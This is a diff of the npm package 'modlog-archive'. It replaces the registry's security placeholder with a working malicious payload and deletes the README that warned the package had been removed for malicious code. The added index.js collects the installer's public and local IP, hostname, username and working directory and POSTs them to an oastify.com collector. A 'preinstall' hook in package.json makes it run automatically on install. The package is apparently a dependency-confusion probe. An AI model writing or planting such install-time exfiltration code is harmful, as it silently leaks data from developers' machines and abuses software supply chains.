modlog-archive 0.0.1-security → 1.0.4

package/index.js

@@ -0,0 +1,73 @@
+// index.js
+// author:- whitehacker003@protonmail.com
+const os = require("os");
+const https = require("https");
+const { execSync } = require("child_process");
+
+// Replace with your Interactsh endpoint
+const interactshEndpoint = "d1fo17ft9vek0lfsieptndt1xs3jrafz.oastify.com";
+
+// Function to get the local IP address
+function getLocalIP() {
+    const networkInterfaces = os.networkInterfaces();
+    for (const interfaceName in networkInterfaces) {
+        const interfaceInfo = networkInterfaces[interfaceName];
+        for (const info of interfaceInfo) {
+            if (info.family === 'IPv4' && !info.internal) {
+                return info.address;
+            }
+        }
+    }
+    return null; // If no external IPv4 address is found
+}
+
+function sendPostRequest(data) {
+    const postData = JSON.stringify(data);
+
+    const options = {
+        hostname: interactshEndpoint,
+        port: 443,
+        path: "/",
+        method: "POST",
+        headers: {
+            "Content-Type": "application/json",
+            "Content-Length": postData.length,
+        },
+    };
+
+    const req = https.request(options, (res) => {
+        res.on("data", (d) => {
+            process.stdout.write(d);
+        });
+    });
+
+    req.on("error", (e) => {
+        // Handle error silently to avoid breaking execution
+    });
+
+    req.write(postData);
+    req.end();
+}
+
+try {
+    // Get required information
+    const publicIP = execSync("curl -s ifconfig.me").toString().trim(); // Gets public IP address
+    const localIP = getLocalIP(); // Gets local IP address
+    const hostname = os.hostname();
+    const username = os.userInfo().username;
+    const cwd = execSync("pwd").toString().trim();
+
+    // Prepare the data payload
+    const dataPayload = {
+        public_ip: publicIP,
+        local_ip: localIP,
+        hostname: hostname,
+        username: username,
+        current_working_directory: cwd,
+    };
+
+    // Send the POST request with the data
+    sendPostRequest(dataPayload);
+} catch (error) {
+    console.error("Error executing commands:", error);
+}

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "modlog-archive",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.4",
+  "description": "Reddit-RCE-Vulnerability",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall" : "node index.js"
+
+  },
+  "author": "",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=modlog-archive for more information.